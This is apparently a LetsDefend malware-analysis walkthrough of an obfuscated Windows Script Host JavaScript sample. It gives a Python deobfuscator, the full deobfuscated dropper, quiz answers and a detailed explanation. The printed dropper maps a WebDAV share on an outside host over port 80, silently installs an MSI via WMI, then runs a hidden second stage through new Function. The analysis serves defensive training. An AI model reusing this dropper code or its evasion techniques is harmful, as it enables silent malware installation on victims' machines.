Back to Walkthroughs
Obfuscated JavaScript
Let's Defend Malware Analysis [Easy]Easy

Obfuscated JavaScript

#tutorial

Challenge Description

image

Solution and Analysis

First get the file from the password protected archive and open it using a text editor, the script is heavily obfuscated and will need cleaning before any work is to be done

The file contains a lot of spam comments however there is code within those comments as well as shown below

Untitled

Rename the file to sample.js and run the following code to clean it up and give you a readable format of the code

import re
import os

def deobfuscate_js_comments(input_file, output_file):
    """
    Deobfuscates a JS file where code is hidden inside special comments.

    - Keeps non-commented lines.
    - Discards regular "spam" comments (e.g., "// word word word").
    - Extracts and cleans code from special comments (e.g., "// //////var x = 1;").
    """
    if not os.path.exists(input_file):
        print(f"Error: Input file not found at '{input_file}'")
        return

    print(f"[*] Reading from: {input_file}")
    
    # We will build the deobfuscated content in a list
    deobfuscated_lines = []

    with open(input_file, 'r', encoding='utf-8', errors='ignore') as f_in:
        for line in f_in:
            stripped_line = line.strip()

            # Check if the line is a comment
            if stripped_line.startswith('//'):
                # Get the content after the initial '//' and strip leading spaces
                content_after_comment = stripped_line[2:].lstrip()

                # Check if this content is *also* a comment/slash (our hidden code marker)
                if content_after_comment.startswith('/'):
                    # This is a hidden code line.
                    # Use regex to remove all leading slashes and spaces to reveal the code.
                    # The pattern ^[/ ]* matches any number of slashes or spaces at the start of the string.
                    actual_code = re.sub(r'^[/\s]*', '', content_after_comment)
                    
                    if actual_code:
                        deobfuscated_lines.append(actual_code)
            
            # Keep any line that is not a comment but has content
            elif stripped_line:
                deobfuscated_lines.append(line.rstrip('\n'))

    # Write the result to the output file
    with open(output_file, 'w', encoding='utf-8') as f_out:
        for clean_line in deobfuscated_lines:
            f_out.write(clean_line + '\n')
    
    print(f"[+] Deobfuscation complete! Output saved to: {output_file}")


# --- HOW TO USE ---
# 1. Save the code above as a Python file (e.g., deobfuscator.py).
# 2. Place your obfuscated JS file (e.g., source.js) in the same directory.
# 3. Change the filenames below and run the script.

input_filename = 'source.js'   # <-- PUT YOUR INPUT FILENAME HERE
output_filename = 'deobfuscated.js' # <-- CHOOSE YOUR OUTPUT FILENAME HERE

deobfuscate_js_comments(input_filename, output_filename)

DeObfuscated code

var network = new ActiveXObject("WScript.Network");
var wmi = GetObject("winmgmts:\\.\root\cimv2");
var attempt = 0;
var connected = false;
var driveLetter, letter;

function isDriveMapped(letter) {
    var drives = network.EnumNetworkDrives();
    for (var i = 0; i < drives.length; i += 2) {
        if (drives.Item(i) === letter) {
            return true;
        }
    }
    return false;
}

for (driveLetter = 90; driveLetter >= 65 && !connected; driveLetter--) {
    letter = String.fromCharCode(driveLetter) + ":";
    if (!isDriveMapped(letter)) {
        try {
            network.MapNetworkDrive(letter, "\\krd6.com@80\share\");
            connected = true;
            break;
        } catch (e) {
            attempt++;
        }
    }
}

if (!connected && attempt > 5) {
    var command = 'net use ' + letter + ' \\krd6.com@80\share\ /persistent:no';
    wmi.Get("Win32_Process").Create(command, null, null, null);
    var startTime = new Date();
    while (new Date() - startTime < 3000) {}
    connected = isDriveMapped(letter);
}

if (connected) {
    var installCommand = 'msiexec.exe /i \\krd6.com@80\share\avp.msi /qn';
    wmi.Get("Win32_Process").Create(installCommand, null, null, null);
    try {
        network.RemoveNetworkDrive(letter, true, true);
    } catch (e) {}
} else {
    WScript.Echo("Failed.");
}

var a = (function() {
    var b = new ActiveXObject("Scripting.FileSystemObject"),
        c = WScript.ScriptFullName,
        d = "";

    function e() {
        if (!b.FileExists(c)) return;
        var f = b.OpenTextFile(c, 1);
        while (!f.AtEndOfStream) {
            var g = f.ReadLine();
            if (g.slice(0, 8) === "////////") d += g.substr(8) + "\n";
        }
        f.Close();
    }

    function h() {
        if (d !== "") {
            var i = new Function(d);
            i();
        }
    }

    return {
        j: function() {
            try {
                e();
                h();
            } catch (k) {}
        }
    };
})();

a.j();

Questions

  • What is the name of the ActiveXObject created in the script?

    • WScript.Network and Scripting.FileSystemObject
  • What WMI namespace is accessed in the script?

    • root\cimv2
  • What is the initial value of the attempt variable in the script?

    • 0
  • What function is used to enumerate network drives in the script?

    • EnumNetworkDrives()
  • How long does the script wait (in milliseconds) after executing the net use command?

    • 3000
  • What is the MSI package used for installation in the script called?

    • avp.msi
  • What is the final output message if the network drive removal fails in the script?

    • Failed.
  • What function is used to check if a drive is mapped in the script?

    • isDriveMapped

Analysis of a WSH Dropper & Self-Extractor Script

1. High-Level Summary

This is a multi-stage malicious script designed to run on Windows via the Windows Script Host (WSH). Its primary goal is to download and silently execute a payload (.msi installer) from a remote server. It then executes a second, hidden stage of code that is embedded within its own source file.

The script employs several techniques to ensure execution and evade detection:

  • Living off the Land: Uses standard Windows utilities like WScript.Network, WMI, and msiexec.exe.
  • Firewall Evasion: Attempts to connect to an SMB/WebDAV share over port 80.
  • Persistence Fallback: Uses net use as a secondary method for mapping the drive.
  • Stealth: Executes the payload silently (/qn flag) and cleans up after itself.
  • Obfuscation: Hides a second stage of code within its own source file as specially-formatted comments.

2. Stage 1: Network Dropper

This part of the script focuses on connecting to a remote share and running the installer.

Step 1: Initialization

  • new ActiveXObject("WScript.Network"): Creates an object to manage network connections (mapping/unmapping drives).
  • GetObject("winmgmts:\\\\.\\root\\cimv2"): Connects to the Windows Management Instrumentation (WMI) service. This is a powerful tool for system administration and is often used by malware to execute commands and processes stealthily.

Step 2: Finding an Available Drive Letter

  • The script loops backward from character code 90 (Z) to 65 (A).
  • For each letter, it calls isDriveMapped() to check if that drive letter is already in use.
  • The first unused drive letter it finds becomes the target for the network share.

Step 3: Mapping the Network Drive (Primary Method)

  • network.MapNetworkDrive(letter, "\\\\krd6.com@80\\share\\"): This is the core of the download mechanism.
    • It attempts to map the available drive letter to a remote share.
    • The path \\krd6.com@80\share\ is a WebDAV trick. By including @80, it instructs Windows to attempt the connection over port 80 (HTTP) instead of the standard SMB port (445). This is a common firewall bypass technique, as port 80 is almost always open for web traffic.

Step 4: Fallback Mechanism (if Primary Fails)

  • If MapNetworkDrive fails multiple times, the script falls back to a more direct command-line approach.
  • var command = 'net use ' + letter + ' \\\\krd6.com@80\\share\\ /persistent:no';: It constructs a net use command string.
  • wmi.Get("Win32_Process").Create(command, ...): It uses WMI to execute the net use command. This is often preferred by malware over WScript.Shell.Run as it can be less noisy and harder to detect by some security tools.
  • It then waits for 3 seconds to give the command time to complete.

Step 5: Payload Execution

  • If the drive is successfully mapped (either by the primary or fallback method), it proceeds to execute the payload.
  • var installCommand = 'msiexec.exe /i \\\\...\\avp.msi /qn';: It builds a command to run the Windows Installer.
    • msiexec.exe: The legitimate Windows Installer process.
    • /i: Specifies installation.
    • \\<drive>\\avp.msi: The path to the malicious installer on the now-mapped network drive.
    • /qn: The "quiet, no UI" flag. This ensures the installation happens silently in the background with no prompts shown to the user.
  • wmi.Get("Win32_Process").Create(installCommand, ...): Again, it uses WMI to run the installer process silently.

Step 6: Cleanup

  • network.RemoveNetworkDrive(letter, true, true);: After launching the installer, the script immediately tries to unmap the network drive. This is done to remove evidence of the network connection.

3. Stage 2: Self-Extraction and Execution

This part of the script is an elegant mechanism for hiding and running a second payload without needing a separate file.

Step 1: The Self-Executing Module

  • The code is wrapped in an IIFE (Immediately Invoked Function Expression): (function() { ... })();. This creates a private scope for its variables and functions.

Step 2: Reading Its Own Source Code

  • var scriptPath = WScript.ScriptFullName;: Gets the full path to the currently running .js file.
  • fileSystem.OpenTextFile(scriptPath, 1): It opens its own source file for reading.

Step 3: Locating the Hidden Payload

  • if (g.slice(0, 8) === "////////"): The script reads itself line by line, looking for a specific marker: eight forward slashes (////////) at the beginning of a line.
  • d += g.substr(8) + "\n";: When it finds a marked line, it strips off the eight slashes and appends the rest of the line (which is the actual hidden code) to a variable.

Step 4: Dynamic Execution

  • var i = new Function(d);: This is the execution step. The new Function() constructor is a powerful but dangerous feature similar to eval(). It takes a string of code and compiles it into a new, executable function.
  • i();: It immediately calls the newly created function, running the hidden Stage 2 code.
  • The entire process is wrapped in a try...catch block to ensure that if anything fails, it does so silently without alerting the user.